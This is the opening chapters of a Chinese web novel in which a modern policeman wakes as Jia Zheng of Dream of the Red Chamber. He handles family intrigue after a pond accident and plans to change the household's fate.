《红楼之进击的政老爷》 第1章 第一章 穿越 周淳死了,被卡车撞到灵魂离体,眼睁睁看着身体摔得乱七八糟。 可他的灵魂并没有消散,而是飘浮在一片白色空间,旁边还有个半透明的人影在嘤嘤嘤。 周淳不愿忍受音波攻击,挥手想把人影赶远些,岂料那家伙一碰即散,剩下的一点亮光撞进他的灵魂,强行上演了一个青年的一生。 从咕咕落地到娶妻生子,再到掉进荷花池子里呛死,二十载的光阴好似走马灯,经历的每一件事和所思所想全部刻印在周淳脑海,想甩都甩不掉那种。 青年名叫贾政,出生在一个叫大虞的皇朝,是金陵贾氏一族的嫡系子弟,祖父名叫贾源,同兄长贾演一起追随开国皇帝,建立虞朝后受封荣国公。 父亲名叫贾代善,于五年前世袭荣国公爵位,一年多以前全家除孝回到京都,入兵部任正五品郎中一职。 母亲出身金陵史家,外祖父受封保龄侯,以正一品尚书令的尊荣致仕。 贾政是家中次子,迎娶的是金陵王县伯府的嫡长女,长子贾珠快四个月大了。 兄长名叫贾赦,自幼随祖母长居京城,娶的是缮国公的孙女。 四个姐妹中前三个庶出的均已出嫁,最小的嫡亲妹妹名叫贾敏,明年也要嫁进列侯林府了。 周淳看得直想骂娘,这些名字他太熟悉了,因为仰慕晓旭姐姐,老版红楼梦电视剧他看了无数遍,原著也读过,看书中判词就知道贾家没啥好下场。 周淳哀叹一声,说好的好人有好报呢,当警察十几年,他不敢说立下多少功劳,也是兢兢业业从不敢忘记人民卫士的职责,重生一世不求大富大贵逍遥一生,也不能落个白茫茫大地真干净的下场吧? 还是说能重活一世已经是莫大的幸运,穿成什么人全凭运气,穿越大神是管不着的? 周淳苦笑,该庆幸没重生到末世或是史前时代么,那才叫天崩开局呢,穿成贾政在抄家之前至少还能富贵三十多年。 “我的政儿啊!” 女子尖厉的哭叫声把周淳吓了一跳,灵魂体猛的一沉,又能感知到身体的存在了,随之而来的就是后腰的巨痛,疼得他猛抽口气,耳畔更加嘈杂起来。 原来的贾政是掉进荷花池子里呛死的,被下人捞起来安置在花园后面的书楼,此时全家人都聚集在他床前,大小管事和有体面的下人也赶着表衷心,把屋里屋外围了个水泄不通。 哭叫之人是贾政的母亲,原著中荣国府的老祖宗贾母,如今她才四十岁出头,虽不复年轻时的美艳靓丽,依旧雍容华贵,风韵犹存。 看到小儿子昏睡不醒,她也顾不得国公夫人的体面了,哭天抢地涕泪横流,还不忘狠瞪站在对面的大儿子贾赦,眼里像是淬了毒。 贾政的妻子王氏也扒在床边哭个不住,还不忘抽空挑拨贾母的怒火,捏着帕子哽咽道,“太太不要心焦,太医马上就到了,太太要是急病了,我们就更没人能依靠了。” 贾母冷笑一声,对王氏道,“你不用怕,等找到害我儿落水的恶人,娘一定为你们做主,打死那黑心烂肠的东西。” 周淳听得直泛膈应,看原著时他最讨厌的就是王夫人,身为舅母不知道爱护外甥女,对待下人也冷酷无情,怪不得她儿子贾宝玉会说女子嫁人后就成了死鱼眼睛,她就是全书最让人厌恶的那条死鱼。 这婆媳俩一唱一和,分明是想把害贾政落水的罪名扣在贾赦头上,兄弟阋墙的好戏要是传出去,不仅贾赦的名声毁了,荣国府也会沦为全京都的笑柄,两个没脑子的蠢货。 原来的贾政也不是啥好东西,看原著时只觉得他迂腐无能,接收过记忆才知道表面上的正直古板都是骗人的,阴损无情才是他的本色。 荣国公父子在贾政出生之前被皇上派去镇守江南,留下贾赦陪伴祖母在京都生活,贾政在江南出生长大,把自己当成了唯一能继承荣国府的大少爷。 祖父过世后全家搬回金陵老宅守孝,他就不再是父母的焦点了,不仅父亲会偶尔忽视,祖母还时常敲打,让他认清身份,不要妄想跟嫡长子争抢爵位继承权。 贾政恨死祖母和贾赦了,更不甘心在父亲过世后沦为普通士族或平民,尤其是搬到京都这一年多,他这个外来户处处碰壁受阻,贾赦却整日呼朋唤友出尽风头,每每想起就嫉妒得磨牙,恨不得一口咬死他。 可贾赦占着嫡长子的名头,想把他打压下去谈何容易,好在母亲是站在他这边的,祖母过世后母子同心,在内宅把贾赦夫妻打压得抬不起头来。 最近他又开始盘算在外人面前坑贾赦一把,就算不能压下他嫡长子的势头,也要让他没脸再出去嘚瑟。 这两日外花园有荷花绽放,听贾赦说要摆宴邀请朋友来府里赏花,原身就想到个馊主意,趁众人被荷花吸引,他蹭到贾赦身边假装落水,意图安他个谋害亲兄弟的罪名。 贾政以为凭自己的水性,六月天落水顶多着凉发热,不成想水下有块尖石,落水时正好撞到腰眼上,他全身发麻动弹不得,直接呛水挂掉了,便宜了周淳这个异界来客。 呸,活该! 周淳一点也不同情贾政,害人不成反害己,这种蠢货提前挂掉对所有人只有好处,他还要解决原身留下的烂摊子才是命苦。 周淳在心里叹气,以贾老太太的难缠,即便承认是自己失足落水,也会被她拐着弯栽赃到贾赦身上,她把对婆婆的厌恶全部投射到长子身上了,根本不把他当亲儿子看,原著中贾赦天天宅在家里不出门,大概就是这对母子作出来的。 那就只剩下一个办法了,周淳深吸口气,努力掀开沉重的眼皮,视线清晰时正看到一个气度威严的中年男子扯开美貌妇人,坐到床沿俯身看向自己。 男子正是二代荣国公贾代善,听说小儿子落水昏迷,他急忙从兵部衙门赶了回来,拽开哭天抹泪的妻子,亲自查看孩子怎么样了。 见贾政睁开眼,他心下一宽,刚要叫人请太医进来,衣袖却先被扯住了。 周淳,以后要改名叫贾政了,新身体刚呛了水,喉咙疼得针扎似的,他强忍不适,嘶哑着开口,“老爷,家里进坏人了,有人要害我。” 贾代善心中无端升起一股烦躁,看了眼臊眉搭眼站在一旁的长子,又用眼神逼退妻子将要出口的话,他低头问道,“你可看清害你的人了?” 贾政在心里给自己打气,能否保住全家的名声就看接下来的表现了。 他咳了几声,摇头道,“我没注意,当时大哥在采莲,我也伸头去看,后腰突然被人大力捅了下,痛得我全身发麻,叫不出也站不住,就一头栽进池子里了。” “后腰被捅了?”贾代善没想到会听到这样的回答,若真是如此,那就说得通了。 小儿子泅水的本事是他亲自教的,水性好到能在浪头里睡觉,回家路上他就怀疑事有蹊跷,难道是自己想岔了,并不是这母子俩坑害长子,而是真的有人要谋害贾家子嗣,目的又是什么呢? “现在还痛么?我看看。”贾代善点手让贾赦上前,掀开贾政被子,一同扶他翻身。 贾赦颠颠凑过来,弟弟没把害他落水的罪名安到自己头上,他喜得眉开眼笑,没心没肺的样子看得贾代善直想叹气。 父子俩一人扶肩,一人托腿,碰触到贾政才发现他身上烫得吓人,翻身时全身都在颤抖,贾赦放开手,把胳膊撑在床上,让他自己借力翻过来。 贾政痛得直哎哟,原身撞的那下着实不轻,抓着贾赦的胳膊慢慢挪动身体,好容易才把背部露了出来。 见兄弟俩配合得不错,贾代善冷硬的表情不由松动几分,贾母快心疼死了,贾政的痛呼声比刀子还利,痛得她透不过气来。 推开丈夫,贾母轻轻揭起贾政的里衣,看到后腰眼上老大一块淤血青肿,她眼前一花,被丫头扶住才没滑到地上去。 贾代善也猛抽了口气,他协助父亲镇守海疆十几年,受伤次数多到能当半个外伤大夫,见儿子伤在了要害上,他急声问道,“政儿,现在身上可还麻么?” 贾政嗯了声,“下身还是麻的。” 贾政的小厮咕咚一声跪到地上,狠狠给了自己一巴掌,哭道,“小的给爷换衣服时没注意到腰上有伤,害爷受苦了。” 此时没人有心思在意个下人,贾母眼泪唰唰往下掉,吓得气噎声堵,拉着贾政的手哭道,“我的儿,儿啊,怎么伤得这么重?老大,你们都是叫了什么人一起赏花的,是哪个杀千刀的,对我儿下此毒手?” 贾赦也吓得不轻,脑子里乱糟糟的,想不出当时站在身边的都是谁。 他的小厮上前一步,打千回道,“回太太话,大爷请的是理国公家的柳三爷,齐国公家的陈大爷,平原侯家的蒋五爷,还有三个故旧家的少爷和我们自家的爷们,都是自小一处长大的,二爷出事时他们正在水阁里听小曲呢。” 贾赦连连点头,今天是在外花园的水阁上摆的小宴,请的人都是他从小玩到大的朋友,虽没几个靠谱的,但要说他们会谋害贾政,他第一个不信。 贾政的另一个小厮弱弱道,“我们家的幕僚护院和下人也有不少来凑趣的,还有来我们府里办事的人主动过来奉承,小的们也说不清爷出事时身边都站了什么人。” “现在不是讨论这个的时候,老杜,快去请太医进来。”贾代善高声吩咐守在外面的随从,荣国府门庭若市,来往人员既多又杂,不是一时半刻能查清楚的,当前还是孩子的身体最要紧。 贾政侧身躺着,半张脸埋在被子里,掩住翘起的嘴角,就是知道荣国府外院早成大杂院了,谁也说不清进府的都有哪些人,他才会把黑锅扣在外人身上。 既能把自家人从这件事里摘出去,还能给便宜老爹提供一个紧闭门户,清理外院人口的理由,借当家人之手迈出整顿荣国府的第一步。 最近看了很多解读红楼的视频,馋虫又被勾出来了,开新书写个红楼前传,请路过的小可爱们收藏支持一下下^_^ 作者有话说 显示所有文的作话 第1章 第一章 穿越 第2章 第二章 养伤 太医跟贾代善是前后脚进的府,走进屋里先向国公爷作礼,而后才坐在床边的椅子上,为贾政诊脉检查伤势。 听说他下身还在发麻,老太医立时紧张起来,“了不得,着凉风寒易治,腰上却伤在了顶要紧的地方,施治不当恐有瘫痪风险,下官不敢耽误贵公子的伤势,先写一剂疏散风寒的方子,腰伤还是请国公爷到军中,找个擅长治疗骨伤的高手来吧。” 太医话音刚落,侧间就传来咣当一声,接着又是数声惊呼,贾代善也慌了,命管家领太医去前厅写方子,又嘱咐贾赦照顾弟弟,他大步流星走向马棚,亲自前往京营府衙门请大夫去了。 贾赦吓得六神无主,拉着贾政的手猛掉眼泪,“怎么会出这样的事?我们两个纨绔,害了我们又能得到什么好处?” 他们兄弟虽不在一处长大,贾赦心里还是在乎弟弟的,听说贾政有可能瘫痪,他恨不得抽自己两巴掌,不就是荷花开得比别处早几天么,没事瞎折腾什么。 贾政被他气笑了,原来这人也知道自己是个一无是处的纨绔,无论记忆中还是原著里,他对贾赦都没啥好印象,认为他骄奢昏愦不堪造就,没想到年轻时还挺可爱的。 “不用担心,我只是腿麻而已,并非没有知觉,瘫不了的,哥你还是去看看太太她们怎么样了吧。” 贾政早就习惯了磕磕碰碰,没把这点伤放在眼里,说的严重些一是为了吓住贾母,让她不敢借此生事,再来也要给便宜爹清理外院找个借口,荣国府不能再大杂院下去了。 贾赦这才想起刚才有人倒下了,急步走进侧间,贾敏和贾母满脸泪痕的坐在一起,平日的骄矜高傲全不见了,看向贾赦的眼神可怜巴巴的。 弟媳王氏两眼放空,人都傻了,只有妻子石氏目光殷殷,满是柔情。 石氏小贾赦两岁,是老太太生前亲定的孙媳妇,出身的缮国公府同是开国八公之一,本人娴雅端庄,知书达理,与贾赦成亲五年,感情甚笃。 石氏对贾赦摆手,表示这里有她照应,只管去外面看顾兄弟。 贾赦脑子乱糟糟的,也没心思多想,见母亲小妹和妻子都没事便点头应下,转身回到贾政床前。 主子们都默不作声,下人也不敢继续待在这里,大管家贾顺指挥人把屋里收拾停当,只留下贴身的伺候,其余人都退了下去。 贾政还维持着侧卧的姿势,省得看大夫时还要翻身,贾赦帮他盖好被子,坐在床边发怔,试图用他有限的脑容量想出最有可能谋害自家的人。 贾政腰疼还发着烧,不多时就迷糊了过去,不知睡了多久,他腰上巨痛,哎哟一声惊醒过来,侧头就看到一位须发皆白,仙风道骨的老人家,正满脸无辜的收回作孽的大手。 他的意识还停留在被撞飞的瞬间,只当之前看到的荣国府众人只是濒死前的幻觉,喃喃道,“我果然是死了么,都看到神仙了。” 他无意识的呢喃惹得贾代善心中大痛,颤声斥道,“说什么胡话,这位是军中的宁神医,还不问好。” 宁大夫呵呵笑道,“老朽只是一介军医而已,二公子不必客气,除了我刚才按的地方,还有哪里疼吗?” 贾政还沉浸在死亡的恐惧中回不过神来,昏暗的房间和模糊的人脸让他想起红楼梦是鬼故事的设定,里面的人物都是风流孽鬼,荣国府是坟墓,补天石是墓碑,上面刻着的红楼故事则是碑文,因此元妃省亲时才会天黑回家,天不亮就离开了。 宁大夫见他魇住了,曲指快速在人中弹了下,贾政打了个哆嗦,彻底清醒了。 他冷汗涔涔,大口喘息片刻才恢复平静,有些不好意思道,“问宁神医安,恕小子行动不便,不能起身见礼,除了被撞的地方很疼,其他地方还好,腿麻的也比最初轻了些。” 宁大夫哈哈笑道,“二公子无需多礼,国公爷也不必心焦,贵公子伤势虽险,却不算严重,老朽回头送几副活血清淤的外用膏药,退烧后每日敷一副,半月即可痊愈了。” 贾代善长松口气,拱手道谢不迭,亲自请人去外间看茶。 等屋里没了外人,贾母几个女眷才走出来,看着脸白似纸的爱子,她眼泪又不受控制的落下来,埋怨道,“你怎的如此大意,就敢让外头的生人往身边站,要是落下残疾,你让我往后依靠哪一个?” 贾政都替贾赦委屈得慌,长子就站在旁边好大一只,老妈却哭天抹泪的说没有依靠,好歹也是她亲生的,至于无视成这样么。 他讪笑,“太太不用担心,我和大哥都会孝敬你的。” 跟在身后的贾敏也笑道,“母亲放心,二哥的福气大着呢,没听宁大夫说么,伤势虽险却不碍事,很快就能痊愈了。与其在这里伤心,不如回去打点些吃的用的送过来,二哥有伤不好挪动,留在外院也得住的舒服些啊。” 贾母哎了声,“是这么个理,老大你照顾政儿,我这就回去收拾去。老二家的,你也回去把政儿日常用的都送过来,老大家的也别在这儿守着了,带管事婆子把后院的事理一理。” 两个媳妇答应着,出了后门往内宅走去,等贾母也扶着丫头离开,贾政才长舒口气,对小妹拱手道谢。 贾敏不愧是绛珠仙子的母亲,不仅清丽文秀,伶俐机敏也非常人可比,几句话就把最难缠的人打发走了。 贾敏被逗得呵呵直笑,转脸又对两个哥哥嗔道,“外院的荷花不过早开几日,你们就兴兴头的跟人嘚瑟,非要闹出事来才老实了,差点把我们娘儿几个吓死。” 贾赦讪讪道,“我们就是找个由头乐一乐,谁想在自己家里还能被人下黑手呢。” 想到外院的乱劲,贾敏锁起眉头,“论理外头的事我一个姑娘家不该多嘴,可自从我们搬到都中,外院的大门就形同虚设了,要不是太太和大嫂管得严,外人都能闯到我们内宅去。” 贾赦也很无奈,搬椅子让贾敏坐了,才叹道,“这也是没办法的事,开国八个公爵府,数我们家当差的地方离京都最远,虽说是皇上信任才会委以重任,可远离故友旧部,时日久了难免生疏,祖父留下祖母和我就是为了维系昔日人脉,如今我们家在都中根基未稳,老爷哪敢摆国公架子,把人挡在门外呀。” 贾政惊奇的看向贾赦,这人不是挺明白的么,是经历了什么才让他变成后来昏聩好色的模样的? 贾敏也知道父亲的难处,“是啊,关门闭户是可以躲清静,可看在外人眼里就成了我们有意疏远,但愿经此一事能有些改善吧。” 荣国府的二公子在家里受奸人所害,重伤落水的事很快传遍了京都,亲近人家都打发人来探望,也有同僚故旧送吃送药,礼车排成长龙,占了大半条宁荣街。 堂亲宁国府和外祖保龄侯府,姻亲缮国公府,列侯林府和县伯王府,都是当家人亲自前来的,全家忙着待客,贾政这个病人反倒清闲了下来。 他又重新梳理了一遍当前的情况,虞朝立国四十二载,当今皇帝是二代帝王,二十五岁登基,国号业康,在位已有二十二年了。 对开国贡献最大的四位郡王和八位国公均已故去,除了自家老爹世袭了荣国公,其余人家的爵位都有所下降,皇帝并没有打压功勋世族的意思,反倒对四王八公的后代子孙多有优容,因此各家依旧重权在握,大有独霸朝堂之势。 在业康帝登基的第二年,祖父贾源就被派往江南,在姑苏扬州一带监造海舫,修理海塘,抗击倭寇。 那年贾赦才两岁,庶长姐一岁,贾政还没出生,祖父不忍幼儿舟车劳顿,就让祖母带他们留守都中。 贾政看原著时还疑惑贾母和贾赦的关系为何如此之差,就算他从小养在祖母身边,母子也是天天见面,不至于生疏成那样吧。 现在才知道贾赦还当过留守儿童,他跟父母分离十多年,夫妻俩又另有儿女承欢膝下,对长子有再深的感情也敌不过时间消磨。 五年前祖父过世,全家回金陵老宅守孝,贾赦才回到父母身边,那时他已经是成了亲的大人了,又不像贾政乖巧懂事会讨好父母,除了贾代善格外重视些,贾母对长子是怎么也喜欢不起来。 一年后祖母也过世了,孝期又延长了一年多,去年全家除孝回京,贾代善入兵部任职,给长子捐了个内务府的闲职,也不用办差应卯,贾赦还是照旧和一群纨绔在都中浪荡。 原身贾政打小就扯了个爱读书的幌子,家里恩荫的监生名额就给了他,天天装模作样去国子监上学,不仅墨水没灌进去多少,连朋友也没交下几个。 贾政想到原身就想叹气,都说贾宝玉是红楼第一废物,他这个当爹的也没好到哪里去,原身就是个窝里横,在外人面前胆小懦弱,只好整天端着张冷脸,假装正直端方,内里却是副空架子。 相比之下,几个亲戚家的孩子就出息多了,未来的妹夫林如海也在国子监读书,身为绛珠仙子的父亲,他长袖擅舞,文彩风流,十六岁就考中了举人,明年他才二十岁,就要参加春闱了。 宁国府的大伯贾代化虽只世袭了一等神威将军,却执掌着戍卫京都的五城兵马司,在正二品京营节度使的位置上直到过世。 他唯一长成的嫡子贾敬接任了贾氏族长,今年三十三岁,世袭二品将军,两年前考中了二甲进士,入礼部担任六品主事,在清流和勋贵圈子里都很有声望,除了世袭的爵位不算高,人生堪称完美。 外祖父保龄侯去年因病致仕,皇帝钦点舅舅进入东宫詹事府,据说也混得不错。 妻子王氏的父母远在广州,负责外交和对外贸易,管理各国进贡朝贺和洋货交易。 二哥王子腾于三年前进入禁卫军,担任御前侍卫,如今已升至正六品了。 大嫂石氏的父亲世袭三等子爵,弟弟石光珠去年进了太常寺,大小也混了个官身。 贾政咂咂嘴,几家亲戚扒拉下来,就数荣国府这兄弟俩最没出息了。 原身都是当爹的人了,还不想办法谋个养家的门路,只一味留心内宅的事,不是琢磨怎么取代大哥继承爵位,就是盘算祖母给大哥留下了多少梯己银子,一个大男人只知道惦记家里这点事,无耻短视到没眼看。 求收藏,谢谢^_^ 作者有话说 显示所有文的作话 第2章 第二章 养伤 第3章 第三章 兄弟 贾政批判过原身,又开始为以后的出路发愁,继续啃老肯定是不行的,考科举也可以直接放弃了。 原身是个读书废,脑子木讷记性还不好,读了十几年书也没学到啥。 他自己的文科成绩也不怎么样,作文从没上过四十分,想以科举出身除非天降个考试系统,否则还是别现眼了。 回家乡当个富家翁也不是啥好选择,空有财富却没有保护财富的能力,早晚会被啃得渣都不剩,况且贾母和王氏也不会同意他这么做。 这样看来,谋个一官半职是唯一的出路了,不仅为了自身安全,也是回报生养之恩。 以荣国府的势力,捐个小官不是难事,难的是便宜爹还巴望他能像敬大哥那样高中呢,肯定不会同意他放弃科举的。 那就只能走老本行了,以他的身手,谋个武职问题应该不大,至于如何实现,反正时间还算充裕,总能找到机会的。 贾政打定主意,便安下心开始养病,红楼梦是为悼明之亡揭清之失所著也好,是鬼故事也罢,他都是死过一次的人了,有啥可怕的。 既然穿越到了这个世界,就要好好活着,荣国府高床软枕,锦衣玉食,比上辈子的忙碌清贫好了不知多少倍,还有啥好报怨的。 贾赦打发走假装来探病,实则是打听闲话的几个损友,提着食盒来看贾政。 家中的风俗秘法是风寒发热,一律以净饿为主,次则才是服药调理,他对这种治病的方法深恶痛绝,担心太太犯拧饿着弟弟,便命小厨房整治了几个小菜,悄悄送过来。 贾政刚喝了药,苦得胃里直翻腾,贾赦带来的小菜细粥堪比及时雨,他喝掉了整碗甜枣紫米粥,才把恶心的感觉压下去。 贾赦是带着满腔热忱和关爱来照顾弟弟的,见贾政如此赏脸,立时开心起来,让小厮把饭菜摆到托盘上,放在床上让贾政支着上身慢慢吃。 他嘴上还不忘念叨,“我就说让病人饿肚子不对吧,哪次生病都得大闹一场才能吃上饭,那罪遭的哦。” 贾政还真不知道家里有这种习俗,原身的身体好得很,咳嗽两声就是最严重的病症了,他不说别人都看不出来,从没吃过生病还要饿肚子的苦。 “哥你受苦了。”生病本就虚弱难受,再挨饿哪还有力气养病,双重暴击也不怕把病人折腾死,是哪个白痴想出这种治病方法的? 贾赦看出弟弟是真心疼自己,委屈得眼泪汪汪,连声劝贾政多吃些,以后再生病就要靠弟弟送饭救自己了。 贾代善站在门外,含笑听着兄弟俩在背后报怨长辈,他一直很后悔把两个儿子分开抚养,养得大儿子纨绔惫懒,小儿子冷漠自私,没想到兄弟俩私底下竟相处得不错,这样就很好了,他不指望后代有多大出息,只要兄弟和睦,荣国府就倒不了。 贾代善心情大好,命人把晚膳摆在外书房,招集幕僚护院,重新制订荣国府外院的出入规矩。 从初代荣国公开始,就有外聘幕僚的传统,还收留了很多负伤又无依无靠的手下兵士,帮他们置房置地,有能力的就收到府里当护院。 老一辈的幕僚和护院都已告老回乡,贾代善手下的人都是在江南当校尉时收下的。 他们上了国公府这条大船,对船下虎视眈眈之人看不顺眼好久了,见老板终于决定要收紧门户,立即就把商议好的方案拿了出来。 幕僚首领是位白面长髯的老者,姓黄名山,曾是江南一座寺院的主持,寺院受倭寇袭击时被贾代善所救,便还俗加入了他的麾下。 黄幕僚持笔,在外院堪舆图的东边勾出个方框,“我们府上虽要严管门禁,对登门之人却不好全部拒之门外,依我看,不如在外花园和东角门之间单独辟出个客院,来府上办事之人全部实名登记,而后再让进客院,集中接待即可。” 护院首领老杜点头赞同,“把客人放在一处确实好管理多了,经过二爷遇袭一事,相信有意交好之人也能理解我们的苦衷。” 贾代善想到今日之事就想叹气,岳父提醒他朝堂不比过去,自太子成年后几方势力便开始暗潮汹涌,当时他还不以为意,大意的结果就是差点把小儿子害死。 “那就这么办了,明天就让人动工,在马棚之后盖个二进小院出来,尽量弄得别致些,别怠慢了客人。这段时间先闭门谢客,老杜你交待门房,有登门之人都推去东府,等我下衙再和敬儿商量着处理。” 荣国府经过一场大祸,上下反倒安静下来,晚上贾母几个女眷又出来看望贾政,见他睡得安稳,烧也退了些,也就安心回去休息了,却不知都中有几方势力,因贾政的随口胡诌夜不能寐。 大明宫是虞朝的权力中心,重重殿宇在月光下庄严肃穆,各处宫殿门户紧闭,连烛光都不敢倾泻出来,唯一有人气的地方只有保和殿西边的内书房。 内书房外站满了御前侍卫,殿内灯火通明,身着明黄色常袍的男子坐在御书案之后,他长相寻常,也不再年轻了,笔直的身形却稳如山岳,气场强到让人不敢与之对视。 看过下面递上来的条陈,皇帝冷笑了声,声音虽不大,却让内外众人的心脏都紧缩了下。 “朕前天才打算把贾代善提成兵部右侍郎,不过刚透出点意思,今天他的儿子就差点被人害死在家里,那群人也太心急了。” 站在御案前面的男子同样年近五旬,鹰目削鼻,高情逸态,上了年纪也是个帅大叔。 他皱紧眉头,凝重道,“那些人对四王八公的势力垂涎已久,发现有空子可钻岂有不出手之理,一旦朝廷公开追查此事,荣国公就要落个治家不严的罪名,兵部右侍郎也只能另择人选了。” 皇帝冷笑,“那群人自前朝就与外族勾结,代善在江南镇守海防近二十年,几乎断送了他们与倭国的来往,想必早已恨他入骨了,友忠,朕有意派你协理江南,你意下如何?” 站在御案之前的人姓甄名应嘉,字友忠,母亲是业康帝的乳母,自小就以伴读的身份陪伴在皇帝身边,主仆感情比亲兄弟还要深厚。 他躬身长揖到地,肃声道,“臣遵命,愿往江南为陛下铲除前朝余孽。” 大明宫的外朝东边是东宫所在,身着大红锦袍的太子正在一处宫殿里发脾气,“孤和老三各举荐一人当兵部右侍郎,没过几天老三举荐的贾代善家里就出事了,这让外人怎么看,肯定是老三出手陷害孤的,没准老五也有份。” 殿内之人都垂头不语,站在最后的年轻官员却上前几步,躬身道,“太子息怒,出事的贾政是下官外甥,他的堂兄是礼部主事,宁国府的贾敬,二舅兄是监门卫的王子腾,我们都是太子近臣,哪有谋害亲戚的道理,这件事任谁也怀疑不到东宫身上。” 见太子面色稍缓,为首的老者才轻咳一声,“太子不必忧心,四王八公皆忠于陛下,拥护正统,只要太子正身守礼,他们就不会生出二心,荣国府虽与三皇子的母族甄家有些渊源,论亲疏也越不过宁国府和保龄侯府去。” 贾政美美睡了一觉,翌日巳时过半才醒,王氏已经守在床前有一阵子了,见丈夫醒了便要水奉茶,亲自服侍他洗漱。 王氏柔情似水,笑靥如花,虽算不上绝色,也是少有的温婉美女,要不是看过原著,谁也看不出如此贤惠之人是个内心狠毒,不拿人命当回事的主儿。 贾政对王夫人的厌恶根深蒂固,即便成为她的丈夫一时也很难扭转,更别说做出亲密举动了。 如果换一个人,他或许还会为冷落名义上的妻子心生愧疚,面对王氏,他除了排斥实在提不起别的想法,用温水潄过口,就叫小厮扶自己起身,接过热帕子自己擦脸。 王氏对贾政也没多深的感情,两人都是本性自私的人,眼里除了自身再没别人,两家结亲也是为了巩固金陵四大家族的关系,政治婚姻只讲利益,谈感情岂不可笑。 她早已习惯了丈夫的冷脸,贾政不让侍候就在一旁看着,等他洗漱过后就命人把大夫请进来看诊。 大夫还是昨日那位宁军医,检查过后他笑道,“不错不错,二公子的身子骨强健得很,高烧已退,腿也不发麻了,除了腰伤还需将养,其他病症皆已痊愈。 说罢,他亲自为贾政贴上膏药,嘱咐好生养着不要有大动作,便告辞离去了。 王氏大喜,丈夫和儿子是她下辈子的指望,谁愿意守着个残废过日子啊。 命人拿上等封答谢宁大夫,再给贾政摆上早膳,王氏喜气洋洋的回内宅报信去了,贾敬之妻正带着儿子贾珍在贾母那里闲话,听王氏转述了大夫的话,几人喜得直念佛。 敬大嫂子同样出自史家,是贾母的堂侄女,嫁到贾家近二十年,只生了贾珍这一个儿子。 贾珍今年十四岁,长得白皙俊秀,嘴甜舌滑,宁荣两府的女眷都对他极为宠爱,惯得他天不怕地不怕,已经有几分原著里混世魔王的样子了。 见儿子撇起嘴角将要说话,敬大嫂子赶忙阻止道,“你可消停些吧,一张嘴就喊打喊杀的,二老爷还没查出真凶是谁呢,你就编排出几十个来了。” 贾敏扑哧一声笑了出来,“珍哥儿可不能在外头乱说啊,猜错了得罪人,猜对了凶手可是会被吓跑的。” 贾珍自小在京城长大,除了皇家和四个郡王府,他就是头一号的人物,何曾吃过亏,听说二叔被人算计了,他气了一夜,要不是被父母喝住,就要带上人马找凶手算账去了。 听小姑说得有理,他只好不甘不愿的应下,坐在椅子上也不肯老实,嘟囔着扭啊扭,像屁股下塞了只刺猬似的。 4. 第四章 贾珠 敬大嫂子扭过脸,懒得再看倒霉儿子一眼,对贾母笑道,“我们担心了一夜,大爷临去衙门前嘱咐我再过来看看,回头打发人把问诊结果告诉他。” 贾母叹道,“敬儿那孩子打小就是个体贴细心的,谁能想到在家里还会被人算计呢,连累亲戚也跟着不得安生,幸亏政儿福大命大。老二家的,你回去照顾珠儿吧,那孩子昨儿惊到了,夜里拉了好几次肚子。” 听说荣国府唯一的孙辈生病了,敬大嫂子也跟着叹气,那孩子养得瘦瘦小小的,快四个月大了也没见胖起来,恐怕不是个有福长寿的。 贾政还不知道便宜儿子病了,他正听贾赦说家里要盖新院子的事,在马棚后面盖个待客的院子,为了增加景致,还把外花园也占了一成进去,贾赦不大情愿,抱怨会破坏园中布景。 贾政有些恍惚,原著中贾赦的将军府就在马棚后面,由外花园改建而来,他住的这间书楼想必也在其中,这种感觉就很奇妙,有种见证历史的不真实感。 现今距离红楼原著开篇还有十多年,这期间贾代善过世,大堂兄贾敬出家,亲戚家也发生了很多变故,甚至皇权都发生了变动。 惊心动魄的一桩桩事件在原著中只是一带而过,如今却变成了必须经历的真实生活,贾政捂着砰砰直跳的心口,说不清是兴奋还是惊慌。 原著以荣国府年轻一代为主线,隐喻金陵四大家族的亡家血史,现在他变成了贾政,要如何做才能摆脱既定的悲剧结局呢? 这是个无解的问题,他的处境相当于拿着一张只有目的地的地图,两眼一摸黑,不知道往哪个方向走才是正确的路线。 在床上养了三天,贾政已经能独自坐起来了,除了家人亲戚偶尔来探望,有大把闲暇时间让他思考如何改变未来。 原身在父母面前虽然受宠,但碍于年纪见识,也属于人微言轻那一卦的,不可能改变他们的想法。 宁国府的贾敬又远了一层,他是一族之长,凭自身能力功成名就,为人孤高自傲,更不可能听贾政这个小兄弟的话了。 兄长贾赦有父母盯着,暂时也没做出需要他劝诫的事,贾敏是小妹妹,他也不知道能为她做些什么,全家人都按步就班的过着自己的生活,好像除了管好自己,就没别的事可做了。 贾政叹气,原来这就是拔剑四顾心茫然的感觉么,空有改变未来的想法,可…… 哎,等一下,贾政激动的差点扭到腰。 红楼梦的两个主角,女主是小妹生的林黛玉,男主贾宝玉可是他生的,主角团里的贾元春,贾探春和贾环也是他的孩子,大可以不让他们出生么。 贾宝玉所谓的衔玉而生就是个笑话,玉是君子之器,也是皇权的象征,帝王家都没生出个带玉的孩子,小小的国公府二房就敢声称孩子衔玉而生,是个有大造化的,作死也没这么作的,还是把他呲进马桶好了。 那些个神啊鬼的想下凡历练大可以去别人家,他上辈子就是个不婚主义者,对男人女人都没兴趣,等养好伤就把贾珠抱到身边亲自教养,绝不能让他年纪轻轻就挂掉了。 想到自己有儿子了,贾政还有些小兴奋,他一直很喜欢小孩子,上辈子只能抢哥哥家的侄女解馋,现在他是贾珠的亲爹,总不会再有人阻止他亲近孩子了吧。 叫来小厮松烟,贾政问道,“珠儿怎么样了?你去替我看一眼。” 松烟是贾政的小厮头头,自幼就跟在他身边,从未关心过孩子的主人突然问起大哥儿,他又懵又慌,竟不知如何回答才好了。 松烟是原身第一得用之人,为人机智善辩,在外面就是他的嘴替。 见小厮迟疑着不敢开口,贾政立即意识到不对劲了,“珠儿怎么了?你只管说就是,有什么开不了口的。” “爷,爷你别着急,是二奶奶担心爷的身体,不让我们告诉你的。二奶奶在爷受伤那天把大哥儿交给周姨娘和奶娘照顾,不知怎么着就把哥儿惊着了,当晚闹了几回肚子,还有些低烧,这两天一直病着。” 贾政又惊又气,才几个月大的孩子,哪经得住这么折腾,那个周姨娘该不会是故意害孩子吧? 他冷声道,“你去回太太,把周姨娘降成通房,奶娘革两个月银米,从家生子里选两个年轻健壮的奶娘送到我这里,再把珠儿抱过来,我亲自照顾。” “啊?”松烟像见了鬼似的盯着贾政,哪有爷们亲自照顾孩子的,周姨娘和奶娘都是二奶奶的陪房,降等罚月钱不是明着打二奶奶的脸么。 贾政沉下脸,“发什么呆,还不快去。” 